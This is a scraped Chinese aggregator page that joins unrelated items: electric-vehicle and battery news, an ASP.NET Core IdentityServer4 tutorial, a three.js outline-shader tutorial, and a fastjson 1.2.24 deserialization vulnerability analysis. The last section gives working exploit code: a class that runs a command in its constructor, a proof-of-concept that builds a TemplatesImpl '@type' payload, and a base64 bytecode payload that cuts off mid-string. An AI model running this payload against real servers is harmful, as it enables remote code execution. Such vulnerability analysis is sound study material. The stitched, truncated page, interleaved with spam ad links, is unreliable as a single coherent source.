搶進電動車市場,電容量提高的鎂電池也要分杯羹

 

雖然鋰離子電池在市場上的聲勢居高不下,但安全性太招人質疑,現在又有一款主打更便宜、更安全的新電池要跟電動車市場分一杯羹了。一款由休士頓大學研究團隊開發的新型鎂電池,標榜電容量比商用鋰離子電池高出2 倍。

鎂電池最大的缺點在於充、放電過程中,充電性能會迅速衰退,過去由於鎂電池一直難找到能存儲大量鎂離子的陰極材料,不光打破氯化鎂鍵只為儲存鎂離子是很困難的技術,以這種方式產生的鎂離子在電池內移動速度也緩慢,種種原因都會導致電池效率低下,大好前程因此遭阻擋。目前,鎂電池主要供軍事通信、氣象測候儀、海難救生設備、高空雷達儀等設備使用。

現在,休士頓大學電機電子工程學系副教授Yan Yao 團隊在《自然通訊》雜誌發表最新研究,他們設計了奈米結構的電池陰極,讓新型鎂電池大大增加4 倍存儲容量。早期鎂電池儲存容量為100mAh / g,相比之下新電池可達400mAh / g,而一般的商業鋰離子電池陰極容量則約200mAh / g。

新型鎂電池將氯化鎂注入二硫化鈦的陰極材料以儲存能量,由於保留氯化鎂鍵沒有破壞,與傳統鎂電池相比,離子擴散速度比傳統材料快許多。Yan Yao 說,保留氯化鎂鍵可使陰極儲存的電荷翻倍,不過由於氯化鎂分子較大,所以關鍵就在擴大陰極材料的開口,以便容納更多氯化鎂。

於是,研究人員動手將二硫化鈦材料的開口撐大了300 倍──雖然還是很小,從0.57 奈米增加到1.8 奈米,但這樣便足夠讓氯化鎂分子通過。大容量的氯化鎂鍵有優異速度和循環性能,也為多價離子電池的未來開闢更多可能性。

高壓鋰離子電池雖然還是鞏固自己的市占率,但其成本高、內部結構易發生破壞導致起火等潛在問題,都使其隨時可能被更便宜、更安全的鎂電池、鋅電池等篡位。

新款鎂電池的電壓在1 伏特左右(鋰離子電池的電壓3到4 伏特),它在一定程度上受電壓限制,但研究人員仍期盼鎂電池的新設計能應用在更有價值的領域。Yan Yao 說:「我們的最高宗旨就是以更低價格製造更高能量電池,特別是在電動汽車領域,要和其他電池一較高下。」

(合作媒體:。首圖為鹼性電池,圖片出處:public domain CC0)  

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

特斯拉將在9 月發表電動半掛卡車,充電後可行駛300 英里

馬斯克(Elon Musk)先前曾在推特表示,特斯拉將在9 月發表載貨用的全電動半掛卡車(Tesla Semi)原型,近期路透社報導披露了一些內容,讓有興趣的人能夠一窺其細節。

在馬斯克宣布要打造全電動重型卡車後,業界一直就對其負載量和續航力有所質疑,畢竟美國一些跑長途的柴油半掛卡車滿油續航力可以到達1,000 英里(約1,610 公里)左右,要能夠與之競爭還是有些困難。

 

Tesla Semi truck unveil set for September. Team has done an amazing job. Seriously next level.

— Elon Musk (@elonmusk)

 

如今答案揭曉了,特斯拉似乎沒有打算一開始就與這些超長程的卡車競爭。

邁阿密貨運公司Ryder System 今年稍早時曾與特斯拉進行技術討論,執行長Scott Perry 向路透社透露,Tesla Semi 是沒有臥鋪的日間車(day cab),續航里程約為200~300 英里(約322~483 公里),與一般長程重型卡車仍有著些許差距,但仍可以稱得上是長程卡車「入門款」。

對於半掛卡車的續航力,特斯拉並不願意做出評論,但它們先前確實曾經表示正在與潛在客戶直接合作,針對電動半掛卡車的開發需求進行交流。

雖然傳聞的Tesla Semi 原型似乎與一般柴油半掛卡車的續航力還有些許差距,但如果真的能夠順利做出並交付,還是有著一定的應用空間。數據分析公司Fleet Complete 策略總監Sandeep Kar 指出,從統計數據來看,美國約有30% 卡車的工作範圍是在100~200 英里之間(約161~322 公里)。

除此之外,相較汽柴油車的引擎,電動車的電動機維護需求較少,電力也比柴油更加的便宜,這些都很有可能吸引到希望降低排放量和營運成本的運輸公司。

但專家指出,對於橫跨各地的載運卡車來說,目前充電站仍不夠普及,而且需要的電池體積、重量將會擠壓到能夠附載的貨物空間。

Ryder System 和其客戶都認為,電動卡車的本體成本可能會比柴油車高出許多,但維護成本將會非常便宜,燃料成本也可以預測,在電池越來越便宜、環保監管越來越嚴格的情況下,電動卡車可能會逐漸出現增長。

(合作媒體:。圖片出處:public domain CC0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

北京推廣新能源車,擬大力新建公用充電樁

北京日報消息,北京城市管理委員會表示,已正式發文要求加強電動汽車充電基礎設施建設和管理,其中,新建停車場必須預留配建充電設施條件,全市機關單位內部停車場應含充電停車位,新建社區停車位須100%具有安裝充電樁條件。

資料顯示,截至今年7月底,北京市新能源汽車數量達14.14萬輛,全市已累計建成約9.75萬個充電樁,基本形成六環內平均服務半徑5公里的公用充電網,其中,個人自用樁約6.87萬個,配建比約75%,商場商圈、交通樞紐等公共停車區域建成1,895處、約1.75萬個。

北京市城管委相關負責人表示,大力新建公用充電樁是破解新能源車推廣困難的重要工作之一,日前市政府已發佈《關於進一步加強電動汽車充電基礎設施建設和管理的實施意見》,首次對新建、既有建築的停車位配建充電設施作出了量化要求。

新規定將充電設施配建指標納入規劃設計規範,明確新建建築配建停車場及公共停車場中充電設施的建設比例或預留建設安裝條件。其中,辦公類建築不低於配建停車位的25%,商業類及公共停車場庫(含P+R停車場)不低於20%,居住類按照配建停車位的100%規劃建設,其他類公建如醫院、學校、文體設施等不低於15%規劃建設。

另外,新建社區100%規劃建設,係指每個停車位都要具備安裝條件,讓車主買車後就能直接裝充電樁,不用再申請改電增容。

同時,對於具備電源條件的既有辦公區、大型商場等公用停車場,新規要求必須配建不低於車位數量10%的公用充電樁。對於老舊社區住戶而言,購買電動車最難的關卡就是無法安裝充電樁,而此次頒佈的新規將充電設施建設納入北京市老舊社區綜合改造範圍內,引導物業公司、業主委員會積極支持和配合充電設施建設。

此次新規也提出,北京全市各級機關、企事業單位內部停車場都要配建公用充電設施。按規定,北京市各級公共機構(包括各級政府機關、事業單位、社會組織)和國有企業新建內部停車場,充電樁數量應不低於車位數的25%,或預留建設安裝條件。

(本文內容由授權使用。圖片出處:public domain CC0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

中國電動車商機夯!日產攜東風研發低價車款、2019年生產

雷諾與日產聯盟29日發布新聞稿宣布,將和東風汽車集團於中國設立一家新合資公司、攜手研發電動車,期望藉由最大限度活用雷諾、日產以及東風的核心競爭力,滿足中國市場需求。該家合資公司名為「eGT New Energy Automotive Co., Ltd.」,東風、日產、雷諾出資比重分別為50%、25%、25%。

eGT將設於中國湖北省十堰市,所研發的電動車預估將透過同樣位於十堰市的東風汽車的工廠(年產能12萬台)進行生產,開始生產時間預計在2019年。

日經新聞指出,eGT主要將研發需求走揚的低價電動車車款,日產期望藉由加強與東風之間的合作,維持電動車領域的優勢。

據中國汽車工業協會(CAAM)指出,中國已成為全球最大純電動車市場,2016年中國B電動車銷售量暴增121%至25萬6,879台,2017年1到7月期間中國純電動車產量較去年同期大增37.8%至22萬3,000台、銷售量大增33.6%至20萬4,000台。

日產會長Carlos Ghosn在6月27日舉行的股東會上表示,「日產在電動車界居領導位置。日產電動車累計銷售量超過60萬台、為美國特斯拉(Tesla)的2倍」。

日本市調機構富士經濟(Fuji Keizai)6月22日公布銷售動向報告指出,電動車在2025年以後需求將急速增加,預估2030年時電動車年銷售量將增至407萬台、超越油電混合車(2030年銷售量預估為391萬台),且之後雙方的差距將持續擴大。在中國需求增加加持下,2035年電動車全球銷售量將擴大至630萬台、將達2016年的13.4倍(較2016年增加12.4倍)。

(本文內容由授權使用。圖片出處: CC3.0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

※想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

Asp.net Core 系列之–5.認證、授權與自定義權限的實現

ChuanGoing 2019-11-24

  asp.net core系列已經來到了第五篇,通過之前的基礎介紹,我們了解了整個流程,實現,並且簡單的介紹了實現,結合上一篇的和本篇將要介紹的權限,大致的可以形成一個簡單的後端系統架構。當然這些都是零散的一些技術概念的介紹,後面如果有時間的話,我想詳細的介紹下如何利用領域驅動來實現一個實際案例。

話不多講,下面來看下本篇的學習曲線:

1.認識Identityserver4

2.Identityserver4實現認證與授權

3.自定義權限的實現

認識Identityserver4

  關於Identityserver4(ids4)的概念介紹,請查看一文。我這裏要說的是,asp.net core 下的ids4集成了認證與授權兩大功能,使得我們非常方便的實現一個開放的認證與授權平台,比如公司內部多個系統的集成登錄(單點登錄)/第三方系統數據共享/統一的認證中心等。整個業務流程大致為:

1.用戶首先的有用戶中心的賬號信息,因此需要註冊一個賬號

2.用戶訪問某個站點應用,需要去到用戶中心認證

3.認證通過,用戶得到其在用戶中心註冊的相應信息及其權限時限、範圍、大小

4.認證不通過,即非法用戶,提示用戶註冊

5.在第3步的前提下,若用戶訪問到另一個站點(採用同一認證平台),這時用戶可以用之前認證通過後拿到的訪問令牌訪問此站點,若此令牌中包含此站點的相應權限即可之前登錄。

Identityserver4實現認證與授權

首先,新建一個asp.net core web 空項目,並且添加如下IdentityServer4 Nuget包

在ConfigureServices添加如下代碼

註冊IdentityServer中間件,如下5個配置分別表示:

1.AddDeveloperSigningCredential:開發模式下的簽名證書,開發環境啟用即可

2.AddInMemoryApiResources:相關資源配置

public static IEnumerable<ApiResource> GetApiResources()
        {
            return new List<ApiResource>
            {
                new ApiResource("WebApi", "ChuanGoingWebApi"),
                new ApiResource("ProductApi", "ChuanGoingWebProduct")
            };
        }

GetApiResources

這裏配置了兩個Api資源

3.AddInMemoryIdentityResources:OpenID Connect相關認證信息配置

 public static IEnumerable<IdentityResource> GetIdentityResources()
        {
            return new List<IdentityResource>
            {
                new IdentityResources.OpenId(),
                new IdentityResources.Profile()
            };
        }

GetIdentityResources

4.AddInMemoryClients:客戶端信息配置

 public static IEnumerable<Client> GetClients(IConfiguration Configuration)
        {
            var OnlineConfig = Configuration.GetSection("OnlineClient");
            var List = new List<Client>
            {
                new Client()
                {
                    ClientId = "ClientCredentials",
                    AllowedGrantTypes = GrantTypes.ClientCredentials,
                    ClientSecrets = { new Secret("ClientSecret".Sha256()) },
                    AllowedScopes =
                    {
                        IdentityServerConstants.StandardScopes.OpenId,
                        IdentityServerConstants.StandardScopes.Profile,
                        "WebApi",
                        "ProductApi"
                    },
                    AccessTokenLifetime = 10 * 60 * 1
                },

                new Client()
                {
                    ClientId = "ResourceOwnerPassword",
                    AllowedGrantTypes = GrantTypes.ResourceOwnerPassword,
                    ClientSecrets = { new Secret("ClientSecret".Sha256()) },
                    AllowedScopes =
                    {
                        IdentityServerConstants.StandardScopes.OpenId,
                        IdentityServerConstants.StandardScopes.Profile,
                        "WebApi",
                        "ProductApi"
                    },
                    AccessTokenLifetime = 10 * 60 * 1
                },
                  /*
                  隱式模式:https://localhost:6005/connect/authorize?client_id=Implicit&redirect_uri=http://localhost:5000/Home&response_type=token&scope=WebApi
                  */
                new Client()
                {
                    ClientId = "Implicit",
                    ClientName = "ImplicitClient",
                    AllowedGrantTypes = GrantTypes.Implicit,
                    ClientSecrets = { new Secret("ImplicitSecret".Sha256()) },
                    RedirectUris ={OnlineConfig.GetValue<string>("RedirectUris") },
                    PostLogoutRedirectUris = {OnlineConfig.GetValue<string>("LogoutRedirectUris") },
                    AllowedScopes =
                    {
                        IdentityServerConstants.StandardScopes.OpenId,
                        IdentityServerConstants.StandardScopes.Profile,
                        "WebApi",
                        "ProductApi"
                    },
                    AccessTokenLifetime = 10 * 60 * 1,
                    //允許將token通過瀏覽器傳遞
                     AllowAccessTokensViaBrowser=true
                },
                /*
                 * 授權碼模式:https://localhost:6005/connect/authorize?client_id=GrantCode&redirect_uri=http://localhost:5000/Home&response_type=code&scope=WebApi
                 */
                new Client()
                {
                   //客戶端Id
                    ClientId="GrantCode",
                    ClientName="GrantCodeClient",
                    //客戶端密碼
                    ClientSecrets={new Secret("CodeSecret".Sha256()) },
                    //客戶端授權類型,Code:授權碼模式
                    AllowedGrantTypes=GrantTypes.Code,
                    //允許登錄后重定向的地址列表,可以有多個
                     RedirectUris ={OnlineConfig.GetValue<string>("RedirectUris") }, 
                    //允許訪問的資源
                    AllowedScopes={
                        "WebApi",
                        "ProductApi"
                    }
                }
            };
            return List;
        }

GetClients

分別對象Auth2.0的四種模式,本篇將用到的是ResourceOwnerPassword模式,其他幾種可在篇尾github鏈接查看源碼的實現

5.AddTestUsers:用戶配置,可結合緩存/持久化

public static List<TestUser> GetUsers()
        {
            return new List<TestUser>
            {
                new TestUser
                {
                    SubjectId = Guid.NewGuid().ToString(),
                    Username = "admin",
                    Password = "123456"

                    //Claims = new List<Claim>
                    //{
                    //    new Claim("name", "admin"),
                    //    new Claim("website", "https://www.cnblogs.com/chuangoing")
                    //}
                },
                new TestUser
                {
                    SubjectId = Guid.NewGuid().ToString(),
                    Username = "chuangoing",
                    Password = "123456"

                    //Claims = new List<Claim>
                    //{
                    //    new Claim("name", "chuangoing"),
                    //    new Claim("website", "https://github.com/chuangoing")
                    //}
                }
            };
        }

GetUsers

 定義兩個測試用戶,注意這裏的SubjectId,用作用戶中心註冊的openid(認證唯一),後面將會用到

然後,Configure中添加app.UseIdentityServer();//啟用ids4

至此,ids4 服務完成

用postman測試下:

 

返回jwt accesstoken:

 

 

將token內容解碼,如下:

 

 可以看到,裡面包含我們配置的ProductApi/WebApi的權限

將token信息加入到http的header中:

 

  注意Bearer後面有個空格,訪問order的獲取訂單信息:

 

 

 自定義權限的實現

  這裏,我們將api中的action分別定義一個權限代碼,用戶擁有了此action訪問權限(擁有此權限代碼)即可訪問,簡單實現如下:

1.定義權限特性標識,api的action指定某個標識

public class PermissionAttribute : Attribute
    {
        /// <summary>
        /// 權限代碼
        /// </summary>
        public string Code { get; }
        /// <summary>
        /// 
        /// </summary>
        /// <param name="code">權限代碼</param>
        public PermissionAttribute(string code)
        {
            Code = code;
        }
    }

PermissionAttribute

 

 此處,get action定義了訪問權限標識為”XYZ”

同樣,我們這裏需要用到一個權限過濾器,利用過濾器的Aop實現權限過濾業務處理:

 public class PermissionFilter : ActionFilterAttribute
    {
        public override void OnActionExecuting(ActionExecutingContext context)
        {
            var user = context.HttpContext.User;
            if (user.Identity.IsAuthenticated)
            {
                //TODO:用戶自定義權限驗證
                Guid userId = context.HttpContext.GetId();
                bool right;
                #region 自定義權限驗證
                //根據userId判斷用戶內部系統權限信息

                //var userPermissions = repo.GetUserPermissions(userId);
                //var permissions = repo.GetPermissions();
                var metas = context.ActionDescriptor.EndpointMetadata;
                foreach (var meta in metas)
                {
                    if (meta is PermissionAttribute permission)
                    {
                        //if (!permissions.Any(p => permission.Code.Any(c => c == p.Code))
                        //    && !userPermissions.Any(p => permission.Code.Any(c => c == p.Code)))
                        //{
                        //    throw new WebException(HttpStatusCode.Forbidden, MessageCodes.AccessDenied, "你沒有訪問該資源的權限");
                        //}
                        //break;
                    }
                }

                right = false;
                #endregion
                if (!right)
                {
                    context.Result = new ContentResult() { StatusCode = (int)HttpStatusCode.Forbidden, Content = "你沒有訪問該資源的權限" };
                }

            }
        }

PermissionFilter

同時,啟用權限過濾器配置

 

 

部分代碼略過,詳細的請查看篇尾的源碼鏈接

利用第二節的認證授權得到的token,我們用postman測試下:

 

過濾器切面成功工作

 

 

 還記得第一節說的SubjectId么?這裏利用這個openid,去內部系統去匹配相關用戶信息,相關業務就不深入了,有興趣的朋友可以下載示例完善下

 

 至此,整個權限認證、授權、自定義權限介紹完。

WebApi詳細代碼在Github的 的Domain分支可以找到,AuthServer詳細代碼在中。

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

three.js使用卷積法實現物體描邊效果

法線延展法

網上使用法線延展法實現物體描邊效果的文章比較多,這裏不再描述。

但是這種方法有個缺點:當兩個面的法線夾角差別較大時,兩個面的描邊無法完美連接。如下圖所示:

 

 

 卷積法

這裏使用另一種方法卷積法實現物體描邊效果,一般機器學習使用該方法比較多。先看效果圖:

    

 

 

使用three.js具體的實現方法如下:

  1. 創建着色器材質,隱藏不需要描邊的物體進行渲染,將需要描邊的位置渲染成白色,其他位置渲染成黑色。
  2. 利用片源着色器計算卷積,白色是物體內部,黑色是物體外部,灰色是邊框。
  3. 設置材質透明、不融合,將邊框疊加到原圖上,可以使用FXAA抗鋸齒。

這三步就可以實現了,很簡單吧。下面我們將詳細介紹實現方法,不想看的可以直接去看完整實現代碼:

完整代碼: 

詳細的實現過程:

1. 使用three.js正常繪製場景,得到下圖,這裏不介紹了。

 

 

2. 創建着色器材質,隱藏所有不需要描邊的物體。將需要描邊的物體繪製成白色,其他地方繪製成黑色。

隱藏不需要描邊的物體后,將整個場景材質替換。

renderScene.overrideMaterial = this.maskMaterial;

着色器材質:

const maskMaterial = new THREE.ShaderMaterial({
    vertexShader: MaskVertex,
    fragmentShader: MaskFragment,
    depthTest: false
});

MaskVertex:

void main() {
    gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );
}

MaskFragment:

void main() {
    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
}

效果圖:

 

 

 

3. 創建着色器材質進行卷積計算,每四個像素顏色求平均值得到一個像素。描邊物體內部是白色,外部是黑色,物體邊緣處會得到灰色。灰色就是我們所需的邊框。

const edgeMaterial = new THREE.ShaderMaterial({
    vertexShader: EdgeVertex,
    fragmentShader: EdgeFragment,
    uniforms: {
        maskTexture: {
            value: this.maskBuffer.texture
        },
        texSize: {
            value: new THREE.Vector2(width, height)
        },
        color: {
            value: selectedColor
        },
        thickness: {
            type: 'f',
            value: 4
        },
        transparent: true
    },
    depthTest: false
});

其中texSize是計算卷積的canvas寬度和高度,為了讓邊框更平滑,可以設置為原來canvas的兩倍。color是邊框顏色,thickness是邊框粗細。 注意,要將材質transparent設置為true。 EdgeVertex:

varying vec2 vUv;

void main() {
    vUv = uv;
    gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );
}

EdgeFragment:

uniform sampler2D maskTexture;
uniform vec2 texSize;
uniform vec3 color;
uniform float thickness;

varying vec2 vUv;

void main() {
    vec2 invSize = thickness / texSize;
    vec4 uvOffset = vec4(1.0, 0.0, 0.0, 1.0) * vec4(invSize, invSize);

    vec4 c1 = texture2D( maskTexture, vUv + uvOffset.xy);
    vec4 c2 = texture2D( maskTexture, vUv - uvOffset.xy);
    vec4 c3 = texture2D( maskTexture, vUv + uvOffset.yw);
    vec4 c4 = texture2D( maskTexture, vUv - uvOffset.yw);
    
    float diff1 = (c1.r - c2.r)*0.5;
    float diff2 = (c3.r - c4.r)*0.5;
    
    float d = length(vec2(diff1, diff2));
    gl_FragColor = d > 0.0 ? vec4(color, 1.0) : vec4(0.0, 0.0, 0.0, 0.0);
}

效果圖:

4. 創建着色器材質,將邊框疊加到原來的圖片上。由於FXAA比較複雜,這裏使用簡單的疊加方法。

着色器材質:

const copyMaterial = new THREE.ShaderMaterial({
    vertexShader: CopyVertexShader,
    fragmentShader: CopyFragmentShader,
    uniforms: {
        tDiffuse: {
            value: edgeBuffer.texture
        },
        resolution: {
            value: new THREE.Vector2(1 / width, 1 / height)
        }
    },
    transparent: true,
    depthTest: false
});

注意,transparent要設置為true,否則會把原來的圖片覆蓋掉。

CopyVertexShader:

varying vec2 vUv;

void main() {
    vUv = uv;
    gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );
}

CopyFragmentShader:

uniform float opacity;

uniform sampler2D tDiffuse;

varying vec2 vUv;

void main() {
    vec4 texel = texture2D( tDiffuse, vUv );
    gl_FragColor = opacity * texel;
}

得到最終效果圖:

 

參考資料:

1. 描邊實現完整代碼:

2. 基於three.js的開源三維場景編輯器:

3. three.js後期處理描邊:

4. 卷積工作原理:

5. 法線延展法實現物體描邊:

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

※想要讓你的商品成為最夯、最多人討論的話題?網頁設計公司讓你強力曝光

※想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

fastjson 1.2.24反序列化導致任意命令執行漏洞分析記錄

環境搭建:

漏洞影響版本:

fastjson在1.2.24以及之前版本存在遠程代碼執行高危安全漏洞

環境地址:

正常訪問頁面返回hello,world~

 

此時抓包修改content-type為json格式,並post payload,即可執行rce

 此時就能夠創建success文件

前置知識:

研究這個漏洞之前,先熟悉一下阿里的這個fastjson庫的基本用法

package main.java;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json {


    public static  void  main(String[] args){
        Map<String,Object> map = new HashMap<String, Object>();
        map.put("key1","one");
        map.put("key2","two");
        //System.out.println(map.getClass());
        String mapjson = JSON.toJSONString(map);
        System.out.println(mapjson.getClass());
        user user1 = new user ();
        user1.setName("111");
        System.out.println(JSON.toJSONString(user1));

        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        user user2=(user)JSON.parse(serializedStr1);
        System.out.println(user2.getName());

        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println(obj.getClass());

        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
        user obj2 = (user)obj1;
        System.out.println(obj2.getName());
        System.out.println(obj2.getClass());

    }


}
//輸出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user

這裏user為定義好的一個類,實際上fastjson提供給我們的也就是將對象快速轉換為可以傳輸的字符串,當然也提供從字符串中恢復出對象,也就是一個序列化和反序列化的過程,

可以從輸出看到,JSON.toJSONstring實際上是將類的屬性值轉化為字符串,當JSON.toJSONstring帶有writeclassname時此時字符串中將包含類名稱及其包名稱,所以此時可以定位到某個類以及其實例化對象的屬性值,再通過JSON.parse()函數即可通過fastjson序列化后的字符串恢復該類的對象,當恢復對象時,使用JSON.parseObject帶有Object.class時,此時能夠成功恢復出類的對象,否則只能恢復到JsonObject對象

漏洞分析:

這個漏洞利用方式有好種,這篇文章主要分析利用templatesImlp這個類,這個類中有一個_bytecodes字段,部分函數能夠根據這個字段來生成類的實例,那麼這個類的構造函數是我們可控的,就能夠rce

 test.java

package person;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }
   
}

test.java在這裏的話主要是用戶parseObject json反序列化時所要還原的類,因為在這會實例化該類,因此直接在其構造方法中calc即可

poc.java

package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos); //將test.class字節碼文件轉存到字節數粗輸出流中
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray()); 

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype時反序列化的類
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +    //將evilcode放在_bytecodes處
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        //String personStr = "{'name':"+text1+",'age':19}";
        //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject來反序列化,此時要設置SupportNonPublicField

public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }

 我們已經知道在反序列化解析json字符串時在parseobject時觸發

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAA